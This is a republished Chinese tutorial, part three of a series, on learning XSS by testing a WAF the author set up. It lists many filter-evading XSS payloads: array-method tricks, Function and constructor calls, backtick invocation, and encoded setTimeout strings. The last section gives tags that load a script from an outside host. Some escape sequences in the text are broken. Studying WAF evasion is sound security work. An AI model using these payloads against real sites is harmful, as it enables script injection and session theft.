测试WAF来学习XSS姿势(三)

栏目: 编程工具 · 发布时间: 5年前

内容简介:今天又换了款waf,因为waf要IIS环境,我发现我是个手残党,一看就懂,操作就废,搭建个IIS环境没成功。后来有朋友说我买的服务器有重置系统,那里可以选择ASP/.NET环境,今天搭建好了。本文分两部分,前部分是总结新学的姿势,后半部分测试Waf。

测试WAF来学习XSS姿势(三)

前言

今天又换了款waf,因为waf要IIS环境,我发现我是个手残党,一看就懂,操作就废,搭建个IIS环境没成功。后来有朋友说我买的服务器有重置系统,那里可以选择ASP/.NET环境,今天搭建好了。

测试WAF来学习XSS姿势(三)

提醒

本文分两部分,前部分是总结新学的姿势,后半部分测试Waf。

数组方式

前两篇文章,我们利用js里的对象成员方法也可以用数组的形式的表示,以此构造了许多payload,在数组内将敏感函数拼接,以此来绕过。以 top 对象为演示的,在Javascrip中,可以连接数组的函数有其他可以补充的。

map()函数

map函数可以返回一个数组 [1].map ,而且我们在使用 map 函数的时候往往会传入一个函数,如果我们传递一个 alert 函数,那么将触发xss。

[1].map(alert)

测试WAF来学习XSS姿势(三)

类似的数组操作函数不在少数,我所知的就有 findeveryfilterforEachfindIndex 。它们和 map 函数都有一个共同的特点,可以返回数组,而且在使用的同时还以可以传入一个函数,这就为我们构造payload提供更多的选择。

我们思考一下,在那些情况下我们可以使用,其实满多,可以先看个demo。

<img src=1 onerror=[1].filter(alert)>

成功弹窗

测试WAF来学习XSS姿势(三)

那么如何更进一步呢,我们先思考下面这个例子。

<img src=1 onerror=['ale'%2b'rt'].map(top['ev'%2b'al'])[0]['valu'%2b'eOf']()(/xss/)>

alert 函数以数组的方式拼接保存,通过嵌套 top 对象拆分带入 eval 函数, valueOf 方法将返回值 /xss/ ,成功弹窗。

测试WAF来学习XSS姿势(三)

从上面的例子中,我们不难看出,javascript的这类对象方法不在少数,如果我们要寻找其他类似函数,首先满足 返回数组 ,或者 字符串 ,再能够带入我们的 函数

function函数

在javascript,定义函数的方式有两种:一种是函数声明,另一种就是函数表达式。

这里返回结果为变量名 demo ,函数表达式也可以叫匿名函数,基本特征是没有函数名,

测试WAF来学习XSS姿势(三)

如果我们向匿名函数内添加 形参 为函数alert,再执行函数,那么可以达到弹窗的效果嘛?

Function('alert(1)')(); 答案显而易见。

测试WAF来学习XSS姿势(三)

然而alert关键字还是太敏感了,可以尝试将形参编码。

Function('alx65x72x74x281x29')();

成功弹窗。

测试WAF来学习XSS姿势(三)

拼接也是可以达到同样的效果 Function('ale'%2b'rt(1)')();

open()属性

open()方法属性打开一个新的浏览器窗口,可在括号内加入参数 open(alert(1))

成功弹窗。

测试WAF来学习XSS姿势(三)

好玩的是,我们使用伪协议时,将会在新窗口弹出。

<body onpageshow=open('java'%2b'script:ale'%2b'rt(1)') >

测试WAF来学习XSS姿势(三)

神奇的constructor

还记得前篇文章 测试WAF来学习XSS姿势(二) 执行代码姿势补充那段嘛,当时我以为自己,已经把 constructor 的坑填完了,早上起来查资料学习,又发现一个可用知识。

constructor是一个对象的属性,这个属性存在在此对象的prototype中, 指向此对象的构造函数。如果该对象是它自己呢?

constructor.constructor(alert(1))

成功触发xss

测试WAF来学习XSS姿势(三)

如果constructor带入的是完整的函数,比如alert,prompt,confirm,那么不需要执行。怎么理解呢?

在这个demo中,我们将函数拼接,注意后面()括号,它是有必要的。

constructor.constructor('al'%2b'ert(1)')()

对于编码来说也是一样的,这里我们使用的是反引号,所以后面要跟着一对反引号。

constructor.constructor`alx65rtx28/xss/x29“`

Waf测试

首先,我们先拿来些常用标签看看,是否会被Waf拦截,如果这个标签一出现就拦截,那我们不必在此浪费时间。

Waf拦截了,也很正常,常见一些标签 <svg> <img> 基本不考虑。

测试WAF来学习XSS姿势(三)

找一些略微生僻的,例如 <input autofocus onfocus=alert(1)>

测试WAF来学习XSS姿势(三)

虽然拦截了,但是当我们把alert去掉后,就不拦截,说明这个标签可用。

测试WAF来学习XSS姿势(三)

alert 不行,可以考虑的有 promptconfirm ,还有 window.onerror=alert;throw 1 这个在这里有些鸡肋不考虑。

成功弹窗。

测试WAF来学习XSS姿势(三)

下面给几个类似的,也都能绕过Waf

<details open ontoggle=prompt(1)>
<button onfocus=prompt(1) autofocus>
<select autofocus onfocus=prompt(1)>

反引号

存在alert函数,但是Waf并不拦截。

测试WAF来学习XSS姿势(三)

但是当我们加上 () 括号,就拦截了。

测试WAF来学习XSS姿势(三)

回去查看Waf拦截记录,可以看出,是触发了某种规则。

测试WAF来学习XSS姿势(三)

这个规则有个 缺陷 ,alert函数后面带有 () 括号就拦截,那么如果我不用括号呢?我们不妨来试试 反引号

<details/open/ontoggle="alert`1`">

测试WAF来学习XSS姿势(三)

成功绕过,注意这里包括字符串的要用双引号,单引号会拦截。

测试WAF来学习XSS姿势(三)

利用top

前几篇文章介绍了top属性的知识,不拿来用对不起自己啊,上文使用反引号虽然绕过了waf,但是引入了双引号,如果过滤了双引号,该如何解决呢?

top可以连接一个函数,那么直接连接alert就行了,如果你看过上篇文章,其他的 self parent frames content window 都可以使用。

<body onpageshow=top.alert`1`>

测试WAF来学习XSS姿势(三)

这样就可以摆脱使用双引号,当然如果过滤了 . 你可以考虑url编码。

<body onpageshow=top%2ealert`1`>

利用map

还记得map嘛?返回一个数组,传入一个函数,我们尝试一下能否绕过。

[1].map(alert) 依赖map的特性,可以避免alert函数后面带有()括号,以此触发规则。

测试WAF来学习XSS姿势(三)

其他

<details open ontoggle=[1].find(alert)>
  <details open ontoggle=[1].%65very(alert)>
  <details open ontoggle=[1].u0066orEach(alert)>

执行字符串

在上文我说过,常见一些标签 <svg> 基本不考虑,那么现在你可以考虑了。为什么?听我细细(

乱吹

)详谈(

凑字数

)道来。

测试WAF来学习XSS姿势(三)

这个妥妥的拦截。

测试WAF来学习XSS姿势(三)

通过测试我们发现,alert后面不更()就不会拦截。

测试WAF来学习XSS姿势(三)

可是还是拦截了,推测是onload 事件的锅,那么换个事件 onmouseover 就不拦截了。

测试WAF来学习XSS姿势(三)

问题来了,虽然 onmouseover 事件可以通过滑动鼠标来触发,如何执行 alert 呢?如果使用拼接的话,必然带(),比较难绕过。思来想去发现可以尝试用反引号。

测试WAF来学习XSS姿势(三)

还是()的锅,不过setInterval不拦截的话,我们可以编码啊。

<svg onmouseover=setInterval`alx65rtx28/xss/x29```>

成功绕过。

测试WAF来学习XSS姿势(三)

执行字符串的可用 payload

<svg onmouseover=setTimeout`alx65rtx28/xss/x29```>
<svg onmouseover=Set.constructor`alx65rtx28/xss/x29```>
<svg onmouseover=u0063lear.constructor`alx65rtx28/xss/x29```>

引用外部js

用些生僻标签就可以,过多的花里胡哨反而难以绕过。

测试WAF来学习XSS姿势(三)

<input autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
<keygen autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
<textarea  autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">

参考致谢


以上所述就是小编给大家介绍的《测试WAF来学习XSS姿势(三)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

创业者手册

创业者手册

[美] 史蒂夫·布兰克、[美] 鲍勃·多夫 / 新华都商学院 / 机械工业出版社 / 2013-1 / 89.00元

我们发现,企业的成功程度和创始人使用本书的频繁程度成正比。书中折角越多,书被翻得越破,企业取得的成功就越显著。阅读本书切忌囫囵吞枣。 所有创业者都坚信自己的道路与众不同,他们在踏上创业之路时从不设计路线图,认为其他模式或模板并不适合自己。同样是初创企业,有些能够取得成功而有些只能沦落到廉价清库的下场,看起来这似乎是运气使然,然而事实并非如此。英雄成功的故事都是一样的。初创企业实现成功之路肯定......一起来看看 《创业者手册》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具